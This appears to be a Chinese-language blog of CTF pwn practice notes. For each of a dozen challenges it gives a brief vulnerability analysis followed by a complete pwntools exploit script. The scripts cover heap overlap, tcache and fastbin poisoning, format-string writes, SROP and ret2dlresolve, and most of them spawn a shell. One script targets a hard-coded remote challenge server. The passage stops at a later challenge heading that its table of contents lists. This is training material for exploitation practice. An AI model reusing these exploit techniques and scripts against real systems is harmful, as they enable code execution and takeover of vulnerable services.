暑假刷题笔记

  1. 1. [V&N2020 公开赛]simpleHeap
    1. 1.1. 题目分析
    2. 1.2. 思路
    3. 1.3. 坑点
  2. 2. 0ctf_2016_warmup
    1. 2.1. 题目分析
    2. 2.2. exp
  3. 3. 0CTF_2017_babyheap
    1. 3.1. 题目分析
    2. 3.2. 思路
    3. 3.3. exp
  4. 4. ciscn_2019_sw_1
    1. 4.1. 题目分析
    2. 4.2. 思路
    3. 4.3. exp
  5. 5. hitcontraining_playfmt
    1. 5.1. 题目分析
    2. 5.2. 思路
    3. 5.3. exp
  6. 6. get_started_3dsctf_2016
    1. 6.1. 题目分析
    2. 6.2. exp
  7. 7. not_the_same_3dsctf_2016
    1. 7.1. 题目分析
    2. 7.2. exp
  8. 8. babyfengshui_33c3_2016
    1. 8.1. 题目分析
    2. 8.2. 思路
    3. 8.3. exp
  9. 9. 2021_强网杯_NO_output
    1. 9.1. 题目分析
    2. 9.2. exp
  10. 10. rec_33c3_2016
    1. 10.1. 题目分析
    2. 10.2. 思路
    3. 10.3. exp
  11. 11. sctf_2019_easy_heap(改)
    1. 11.1. 题目分析
    2. 11.2. 思路
    3. 11.3. exp
  12. 12. 360chunqiu2017——smallest
    1. 12.1. 题目分析
    2. 12.2. 思路
    3. 12.3. exp
  13. 13. 2018_breakfast
    1. 13.1. 题目分析
    2. 13.2. 思路
    3. 13.3. exp
  14. 14. music
    1. 14.1. 题目分析
    2. 14.2. exp
  15. 15. ichunqiuyiqing_borrowstack
    1. 15.1. 题目分析
    2. 15.2. 思路
    3. 15.3. 坑点
    4. 15.4. exp
  16. 16. Dream
    1. 16.1. 题目分析
    2. 16.2. 思路
    3. 16.3. exp
  17. 17. ichunqiuyiqing_excited
    1. 17.1. 题目分析
    2. 17.2. exp
  18. 18. ichunqiuyiqing_interested
    1. 18.1. 题目分析
    2. 18.2. exp
  19. 19. SCP_Foundation
    1. 19.1. 题目分析
    2. 19.2. exp
  20. 20. axb_2019_heap
    1. 20.1. 题目分析
    2. 20.2. 涉及知识点
    3. 20.3. exp

水一篇博客,这个是题库

题目附件
提取码: r2en

[V&N2020 公开赛]simpleHeap

远程是libc2.23版本的,但是我想试试用libc2.27版本来看看可不可以打通(有点难度),亲测能行

题目分析

有一个offbyone漏洞但是限制了我们的chunk在0x6f范围内,想要通过unsortedbins泄露地址需要将tcachebins填充,但是限制了chunk大小,所以不能简单的释放就能填充,可以考虑overlapping。

思路

  • 构造三个堆块,第一个堆块用来修改第二个堆块的size,使得第二个堆块覆盖第三个堆块的头,用来控制第三个堆块

  • 释放第三个堆块,泄露chunk_head地址,通过tcache_perthread来泄露基地址,写free_hook为system,通过释放带有/bin/sh的堆块来getshell

坑点

  • 原题的攻击方法是基于libc2.23的,本地的版本是libc2.27的,可以说攻击方式完全不同,不过通过这个题目更了解libc2.27的堆管理情况

  • 一开始想了很多方法,都没成功,版本不同对题目的难度加大,不够学到了很多,对2.27版本有进一步的认识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary = './vn_pwn_simpleHeap'
arena = 0x3ebc40
one_gadget = [0x4f3d5,0x4f3d5,0x10a41c]
local = 1
if local == 1:
io = process(binary)
else:
io = remote()
e = ELF(binary)
libc = e.libc

def add(size,content = b'a'):
io.sendlineafter("choice: ",'1')
io.sendlineafter('?',str(size))
io.sendafter(':',content)

def edit(id,content):
io.sendlineafter("choice: ",'2')
io.sendlineafter('?',str(id))
io.sendlineafter(':',content)

def show(id):
io.sendlineafter("choice: ",'3')
io.sendlineafter('?',str(id))

def free(id):
io.sendlineafter("choice: ",'4')
io.sendlineafter('?',str(id))

add(0x28)#idx:0
add(0x20)#idx:1
add(0x68)#idx:2
add(0x20,b'/bin/sh\x00')#idx:3
edit(0,b'\x00' * 0x28 + b'\x61')#idx:1=1+2 size=0x61
free(1)
free(2)
add(0x58,b'a' * 0x28 + b'a' * 16)#idx:1=1+2 size=0x61
show(1)#show 1,2 size=0x61
head_addr = u64(io.recvline()[-7:-1].ljust(8,b'\x00'))
io.success(hex(head_addr-0x10))
edit(1,b'a' * 0x28 + p64(0x71) + p64(head_addr))

add(0x68)#idx:2

add(0x68)#idx:4 head

edit(4,b'\x07' * 0x40 + p64(head_addr))

#add(0x60)#idx:5 pre_chunk=idx:3
add(0x10)#idx:5 head
free(5)
show(4)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - arena - 0x60
io.success("libc_base==>"+hex(libc_base))
malloc_hook = libc.sym['__malloc_hook'] + libc_base
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym["system"] + libc_base
one_gadget = one_gadget[2] + libc_base
edit(4,b'\x07' * 0x40 + p64(free_hook))
add(0x10)#idx:5 malloc_hook
edit(5,p64(system))
gdb.attach(io,"b *$rebase(0x8e0)")
free(3)
io.interactive()

0ctf_2016_warmup

题目分析

栈溢出,突破点就在于alarm函数了。alarm函数有一个特性,如果多次调用alarm,那么alarm就会返回前一个alarm开始到现在,还剩下多长时间。比如,第一次alarm(10),然后过来2s,我们又调用alarm(1234),那么第二次的alarm返回值eax为10s-2s=8s。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './warmup'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil('Welcome to 0CTF 2016!')
data=0x80491BC
read_addr=0x804811D
write_addr = 0x8048135

alarm_addr = 0x804810D
io.send(b'a'*0x20+p32(0x0804811D)+p32(0x0804815A)+p32(0)+p32(data)+p32(10))
io.sendafter('Good Luck!',b'./flag\x00')
sleep(5)
#gdb.attach(io,'b *0x0804815A')
io.send(b'a'*0x20+p32(alarm_addr)+p32(0x08048122)+p32(0x0804815A)+p32(data)+p32(0))#open
io.recvuntil('Good Luck!')
#
io.send(b'a'*0x20+p32(read_addr)+p32(0x0804815A)+p32(0x3)+p32(data+0x10)+p32(10))#read
io.recvuntil('Good Luck!')
io.send(b'a'*0x20+p32(write_addr)+p32(0x0804815A)+p32(1)+p32(data+0x10)+p32(10))#write
io.interactive()

0CTF_2017_babyheap

题目分析

一个简单的菜单题,有增删改查功能,编辑功能存在堆溢出

思路

  • 通过堆溢出来实现堆块重叠

  • 通过堆溢出改写堆块大小,通过unsortedbins来泄露libc地址

  • 利用fastbin attack改malloc hook为realloc hook(在malloc hook-8的位置),改realloc为one_gadget,通过不断尝试realloc的正确偏移为10

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./0ctf_2017_babyheap'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def add(size):
io.recvuntil('Command: ')
io.sendline('1')
io.recvuntil('Size: ')
io.sendline(str(size))

def edit(index,size,content):
io.recvuntil('Command: ')
io.sendline('2')
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendlineafter('Content: ',content)

def free(index):
io.recvuntil('Command: ')
io.sendline('3')
io.sendlineafter('Index: ',str(index))

def show(index):
io.recvuntil('Command: ')
io.sendline('4')
io.sendlineafter('Index: ',str(index))
io.recvuntil('Content: ')

for i in range(7):
add(0x20)
for i in range(7):
free(i)
for i in range(7):
add(0x80)
for i in range(7):
free(i)
for i in range(7):
add(0x60)
for i in range(7):
free(i)

add(0x30)
free(0)
add(0x20)#0
add(0x20)#1
add(0x20)#2
add(0x20)#3
add(0x40)#4
free(2)
free(1)
edit(0,0x31,b'a'*0x20+p64(0)+p64(0x31)+b'\x10')

add(0x20)#1
add(0x20)#2 == 1
edit(0,0x30,b'a'*0x20+p64(0)+p64(0x91))
free(1)
show(2)
#
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-main_arena-96
io.info("libc_base==>%#x",libc_base)
system = libc_base + libc.sym["system"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc = libc_base + libc.symbols['__libc_realloc']
io.success("system==>{}".format(hex(system)))
io.success("malloc_hook==>{}".format(hex(malloc_hook)))
add(0x80)#1

pay=b'a'*0x20+p64(0)+p64(0x71)+b'a'*0x60+p64(0)+p64(0x21)+b'a'*0x10
edit(0,len(pay),pay)
#gdb.attach(io,'b *rebase(0x111d)')
free(1)
edit(2,0x8,p64(malloc_hook-0x23))

add(0x60)#1
add(0x60)#5 free_hook
one_gadget = one_gadget[2]+libc_base

edit(5,0x13+8,b'a'*0xb+p64(one_gadget)+p64(realloc+10))
#gdb.attach(io,'b *rebase(0x111d)')
add(0x10)
io.interactive()

ciscn_2019_sw_1

题目分析

格式化字符串漏洞,但是只有一次调用

思路

  • 这里利用到了fini_array劫持技术,可以使程序再次运行一次

  • 然后改printf‘s got为system’s plt表

  • 输入/bin/sh,拿到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./ciscn_2019_sw_1'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
system = 0x80483D0
printf = 0x804989C
io.recvuntil("Welcome to my ctf! What's your name?")
add = 0x8534
add1 = ((system&0xffff) - add)%0x10000
add2 = (((system>>16)&0xffff) - add - add1)%0x10000
pay = '%{}c'.format(add).encode()+b'%14$hn'
pay += '%{}c'.format(add1).encode()+b'%15$hn'
pay += '%{}c'.format(add2).encode()+b'%16$hn'
pay = pay.ljust(0x28,b'a')+p32(0x804979C)+p32(printf)+p32(printf+2)
gdb.attach(io,"b main")
io.sendline(pay)#5
io.recvuntil("Welcome to my ctf! What's your name?")
io.sendline('/bin/sh\x00')
io.interactive()

hitcontraining_playfmt

题目分析

一个无限循环的格式化字符串漏洞

思路

  • 利用ebp的双重指针来修改栈上的数据

  • 改返回地址为system,参数布置在栈上

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './playfmt'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
bss = 0x804a060
libc = elf.libc
io.recvuntil('=====================')
io.sendline('%6$p%8$p')
io.recvuntil('0x')
stack_addr = int(io.recv(8),16) - 0x28
io.recvuntil('0x')
libc_base = int(io.recv(8), 16) - libc.sym["_IO_2_1_stdout_"]
system = libc_base + libc.sym["system"]
io.success("libc_base==>{}".format(hex(libc_base)))
io.success("stack_addr==>{}".format(hex(stack_addr)))
io.success("system==>{}".format(hex(system)))
def write_addr(stack,addr):
addr1 = stack&0xffff
addr2 = addr&0xffff
pay = '%{}c%6$hn...'.format(addr1).encode()
io.sendline(pay)
io.recvuntil('...')
pay = '%{}c%10$hn...'.format(addr2).encode()
io.sendline(pay)
io.recvuntil('...')

addr1 = addr1 + 2
addr2 = (addr>>16)&0xffff
pay = '%{}c%6$hn...'.format(addr1).encode()
io.sendline(pay)
io.recvuntil('...')
pay = '%{}c%10$hn...'.format(addr2).encode()
io.sendline(pay)
io.recvuntil('...')
#gdb.attach(io,"b main")
write_addr(stack_addr+0x1c,system)
#返回地址
write_addr(stack_addr+0x24,bss+0x20)
#/bin/sh地址

io.sendline(b'a'*0x20+b'/bin/sh\x00...')
#输入到bss段上

io.recvuntil('/bin/sh')

io.sendline(b'quit\x00')
io.interactive()

get_started_3dsctf_2016

题目分析

简单栈溢出,打卡题目

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf-8
from pwn import *
context(log_level='debug',arch='i386')
binary='./get_started_3dsctf_2016'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)

#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

gdb.attach(io,'b main')
io.sendline(b'a'*0x38+p32(0x080489A0)+p32(0)+p32(0x308CD64F)+p32(0x195719D1))
io.recv()
io.interactive()

not_the_same_3dsctf_2016

题目分析

简单的栈溢出,布置好参数传递就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf-8
from pwn import *
context(log_level='debug',arch='i386')
binary='./not_the_same_3dsctf_2016'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#io.recvuntil('b0r4 v3r s3 7u 4h o b1ch4o m3m0...')
gdb.attach(io,'b main')
io.sendline(b'a'*0x2d+p32(0x80489A0)+p32(0x80489EA)+p32(0x080ECA2D))
#io.recv()
io.interactive()

babyfengshui_33c3_2016

题目分析

思路

  • 风水布置堆块,达到任意地址读写

  • 改free的got表为system

  • 释放包含‘bin/sh\0’的堆块get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='i386'
binary = './babyfengshui_33c3_2016'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
libc = elf.libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_32-linux-gnu/libc.so.6")
def add(size,size1,content):
io.sendlineafter("Action: ",b'0')
io.sendlineafter('size of description: ',str(size))
io.sendlineafter("name: ",b'a')
io.sendlineafter('text length: ',str(size1))#offbyone
io.sendlineafter("text: ",content)

def edit(index,content):
io.sendlineafter("Action: ",b'3')
io.sendlineafter('index: ',str(index))
io.sendlineafter('text length: ',str(len(content)))#offbyone
io.sendlineafter("text: ",content)

def show(index):
io.sendlineafter("Action: ",b'2')
io.sendlineafter('index: ',str(index))
io.recvuntil('description: ')

def free(index):
io.sendlineafter("Action: ",b'1')
io.sendlineafter('index: ',str(index))


for i in range(7):
add(0x50,1,b'a')#0-6

add(0x80,1,b'a')#7
add(0x20,8,b'/bin/sh\x00')#8

for i in range(7):
free(i)
free(7)
for i in range(7):
add(0x50,1,b'a')#9-15

add(0x110,1,b'a')#16
pay = b'a'*0x110+b'a'*0xc+p64(0x31)+b'/bin/sh\x00'+p64(0)*4+p32(0x91)+p32(0x804B020)
edit(16,pay)
show(8)
malloc = u32(io.recvuntil('\xf7')[-4:])
io.info("malloc==>%#x",malloc)

libc_base = malloc - libc.sym['malloc']
system = libc_base + libc.sym['system']
free_got = 0x804B010
#free_hook = libc_base + libc.sym['__free_hook']
pay = b'/bin/sh\0'.ljust(0x110,b'a')+b'a'*0xc+p64(0x31)+b'/bin/sh\x00'+p64(0)*4+p32(0x91)+p32(free_got)
edit(16,pay)
edit(8,p32(system))

free(16)
#gdb.attach(io,'b *0x08048A17')

io.interactive()

2021_强网杯_NO_output

题目分析

满足两个条件就可以进行栈溢出了,一个是检测字符串是否相等,可以用\x00截断绕过,还要满足的条件是signal 浮点异常的信号才能触发漏洞,利用ret2dlresolve就行,可以参考我的学习笔记

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './test'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
'''
0x08049583 : pop ebp ; ret
0x08049580 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08049022 : pop ebx ; ret
0x08049582 : pop edi ; pop ebp ; ret
0x08049581 : pop esi ; pop edi ; pop ebp ; ret
0x080491a5 : leave ; ret
'''
plt_0 = 0x8049030
fuke_stack = elf.bss()+0x600
fuke_offset_1 = fuke_stack+0x20-0x8048414
align = 0x10 - (fuke_stack + 0x40 - 0x8048248) % 16
fuke_offset_2 = (((fuke_stack + 0x40 - 0x8048248 + align) // 0x10) << 8 ) | 0x7
fuke_offset_3 = fuke_stack + 0x60 - 0x8048318
bin_sh_addr = fuke_stack + 0x70
io.sendline('a')
#gdb.attach(io,'b *0x80494ed')
io.sendline(b'h\x00')

io.sendline(b'-2147483648')
io.sendline(b'-1')


io.sendline(b'a'*0x48+p32(0)+p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(fuke_stack)+p32(0x100)+p32(0x08049583)+p32(fuke_stack)+p32(0x080491a5))


pay = b'aaaa'+p32(plt_0)+p32(fuke_offset_1)+p32(0)+p32(bin_sh_addr)
pay = pay.ljust(0x20,b'a')+p32(fuke_stack)+p32(fuke_offset_2)
pay = pay.ljust(0x40 + align,b'a') + p32(fuke_offset_3) + p32(0) + p32(0) + p32(12)
pay = pay.ljust(0x60,b'a') + b'system\x00'
pay = pay.ljust(0x70,b'a') + b'/bin/sh\x00'
io.sendline(pay)
io.interactive()

C语言编程技巧-signal(信号)

https://zh.wikipedia.org/zh/SIGFPE

rec_33c3_2016

rec_33c3_2016(堆栈不平衡)

题目分析

Polish里有栈不平衡会拔高栈帧

思路

  • 通过栈上残留地址,leak基地址

  • 利用栈不平衡,不断拔高栈帧,让栈降低到合适的位置,然后就可以通过push向栈中写数据

  • v2函数指针调用我们的函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './rec_33c3_2016'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def show():
io.sendlineafter('>','1')
io.recvuntil('Your note: ')

def Polish():
io.recvuntil(b'> ')
io.sendline('2')
io.recvuntil("Operator: ")
io.sendline('S')
io.recvuntil('Operand: ')
io.sendline('1')

show()
libc_base = u32(io.recvuntil('\xf7')[-4:]) - libc.sym["_IO_2_1_stdout_"]
io.success("libc_base==>{}".format(hex(libc_base)))
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
system = libc_base + libc.sym["system"]
io.success("system==>{}".format(hex(system)))
#print(io.recv())
Polish()
for i in range(0x62):
io.sendlineafter("Operand: ",b'1')
io.sendlineafter("Operand: ",str(system-0x100000000))
io.sendlineafter("Operand: ",str(bin_sh_addr-0x100000000))

io.sendlineafter("Operand: ",'.')
#gdb.attach(io,'b *$rebase(0xf4e)')
io.sendlineafter('>','5')
io.sendline('0')
io.interactive()

sctf_2019_easy_heap(改)

题目分析

经典的offbyone漏洞,程序稍微改了点,希望能用2.31版本来测试,之前使用2.27版本打的这倒道题目,因为2.31版本对于unlink多了两个检测,一个是检测释放chunk的pre_size是否等于要合并chunk的size大小,还有一个是检测要合并的chunk是否是自连,目前我找到的方法有自己伪造堆块头,利用offbynull漏洞来unlink,还有个是利用large bin的残留信息。

改动如下,因为没有输出所以有一定的难度

思路

  • 通过泄露的堆块地址来伪造堆块头

  • 利用offbynull来使堆块与我们的fuke堆块合并

  • 这样就可以照成堆块复用,导致任意地址读写,先将shellcode注入到rxw段上,可是题目没有输出堆块的功能

  • 可以使用三个堆块复用,利用double free,一个chunk在tcache bins,一个在unsorted bins里(这个要构造比较特殊,需要用到切割unsorted bin来实现),因为main_arena+96的位置和malloc hook的位置很近,只需修改一个字节就好,改malloc hook为shellcode地址

大概成功以后是这个样子

这样申请两个0x100的堆块就可以改到malloc hook里的指针

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './sctf_2019_easy_heap'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def alloc(size):
ru(">> ")
sl(str(1))
sal("Size: ",str(size))
ru('Address 0x')
chunk_addr = int(r(12).decode(),16)
io.success("chunk_addr ==> {}".format(hex(chunk_addr)))
return chunk_addr

def free(index):
ru(">> ")
sl('2')
sal("Index: ",str(index))

def edit(index,content):
ru(">> ")
sl('3')
sal("Index: ",str(index))
sal("Content: ",content)

ru('Mmap: 0x')

mmap = int(rl()[:-1].decode(),16)
io.info("mmap ==> %#x",mmap)

heap_head = alloc(0xf0) #0

#io.success("heap_head ==> {}".format(hex(heap_head)))
alloc(0xf8)#1
alloc(0xf0)#2
for i in range(7):
alloc(0xf0)#3-9
alloc(0xf0)#10
alloc(0xf0)#11
alloc(0xf0)#12
edit(0,p64(0)+p64(0)+p64(heap_head+0x10)+p64(0x1e1)+p64(heap_head+0x10-0x18)+p64(heap_head+0x10-0x10))
for i in range(7):
free(i+3)#3-9

edit(1,b'a'*0xf0+p64(0x1e0))
heap_head +=0x100
free(2)

for i in range(7):
alloc(0xf0)#2-8

alloc(0xd0)#9
alloc(0xf0)#13 == 1
alloc(0xf0)#14


free(10)# 11 12
free(1)#1 == 13
edit(13,p64(mmap))

alloc(0xf0)#1 == 13
alloc(0xf0)# 10 mmap
edit(10,asm(shellcraft.sh()))#10

free(11)#
free(1)#

edit(13,p64(heap_head))
alloc(0xf0)#1 == 13
alloc(0xf0)# 11 == 13


for i in range(7):
free(i+2)# 2-8
free(0)
free(1)#0-8

for i in range(7):
alloc(0xf0)#0-6
#11==13
free(12)#7-8 11 12
is null
free(11)
alloc(0x70)#7
alloc(0x70)#8
edit(13,b'\x70')
gdb.attach(io,'b *$rebase(0xc00)')
alloc(0xf0)#11
alloc(0xf0)#12 malloc hook

edit(12,p64(mmap))
ru(">> ")
sl(str(1))
sal("Size: ",str(0x10))
#

io.interactive()

360chunqiu2017——smallest

题目分析

2017 429 ichunqiu ctf smallest(pwn300) writeup_jmp esp-CSDN博客

思路

  • 通过srop来控制寄存器

  • 注意要保持read持续输入

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './smallest'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_addr = 0x4000B0
syscall_addr = 0x4000BE
rdi_syscall = 0x4000BB
def leak():
io.send(p64(read_addr)+p64(rdi_syscall)+p64(read_addr))
sleep(0.6)
yes = raw_input()
io.send('\xbb')
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
io.success("stack ==> {}".format(hex(stack_addr)))
io.recv()
return stack_addr


stack = leak()
bin_sh_addr = stack + 500
frame = SigreturnFrame()
frame.rsp = stack
frame.rip = read_addr

pay = p64(read_addr) + b'a'*8 + bytes(frame)

io.send(pay)
yes = raw_input()
io.send(p64(syscall_addr).ljust(15,b'a'))
yes = raw_input()
#gdb.attach(io,'b *0x4000B0')
frame = SigreturnFrame()
frame.rdi = bin_sh_addr
frame.rax = 0x3b
frame.rip = syscall_addr
#frame.rsp = stack
frame.rdx = 0
pay = p64(read_addr) + b'a'*8 + bytes(frame)
pay = pay.ljust(500,b's')+b'/bin/sh\0'
io.send(pay)

pay = p64(syscall_addr)
yes = raw_input()
io.send(pay.ljust(0xf,b'a'))
io.interactive()

2018_breakfast

题目分析

一个uaf,一个任意地址读,堆打卡题,简单直接撸代码

思路

  • leak free的地址,算出libc基地址

  • 改free hook为system

  • 释放包含‘/bin/sh\x00’的堆块get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './2018_breakfast'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def alloc(index,size):
io.recvuntil('5.- Exit')
io.sendline('1')
io.recvuntil('Enter the position of breakfast')
io.sendline(str(index))
io.recvuntil('Enter the size in kcal.')
io.sendline(str(size))

def edit(index,content):
io.recvuntil('5.- Exit')
io.sendline('2')
io.recvuntil('Introduce the menu to ingredients')
io.sendline(str(index))
io.recvuntil('Enter the ingredients')
io.send(content)

def show(index):
io.recvuntil('5.- Exit')
io.sendline('3')
io.recvuntil('Enter the breakfast to see')
io.sendline(str(index))

def free(index):
io.recvuntil('5.- Exit')
io.sendline('4')
io.recvuntil('Introduce the menu to delete')
io.sendline(str(index))

free_got = 0x601FB0
alloc(0,0x20)
edit(0,p64(free_got))
gdb.attach(io,'b main')
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['free']
io.success('libc_base==>{}'.format(hex(libc_base)))
free_hook = libc.sym['__free_hook'] + libc_base
io.success('free_hook==>{}'.format(hex(free_hook)))
system = libc.sym['system'] + libc_base
io.success('system==>{}'.format(hex(system)))
alloc(1,0x20)
alloc(2,0x20)
alloc(3,0x20)
free(2)
free(1)
edit(1,p64(free_hook))
alloc(1,0x20)
edit(1,b'/bin/sh\0')
alloc(2,0x20)#free_hook
edit(2,p64(system))
free(1)
io.interactive()

music

题目分析

格式化字符串漏洞和栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './music'
main_arena = 0x1beb80
local = 1
if local == 1:
io=process(binary)
else:
io=remote('47.105.38.196',32573)
elf=ELF(binary)
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF('libc-2.23.so')
io.recvuntil('#Leave your name')
io.sendline('%4$p')
io.recvuntil('#Dear ')
io.recvuntil('0x')
#libc_base = int(io.recv(12).decode(),16) - 0x3c5620
libc_base = int(io.recv(12).decode(),16) - libc.sym['_IO_2_1_stderr_'] - 128
io.info("libc_base==>%#x",libc_base)
pop_ret = 0x0000000000026796+libc_base
io.recvuntil('#Please play a piece of music')
system = libc.sym['system'] + libc_base
#gdb.attach(io,'b *$rebase(0x1310)')
io.sendline(b'cccc'*33+p64(0x4f3d5+libc_base))#p64(pop_ret)+p64(next(libc.search(b'/bin/sh\0'))+ libc_base)+p64(system))
io.recvuntil('#Please do not enter irrelevant data')
io.interactive()
#io.sendline()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

ichunqiuyiqing_borrowstack

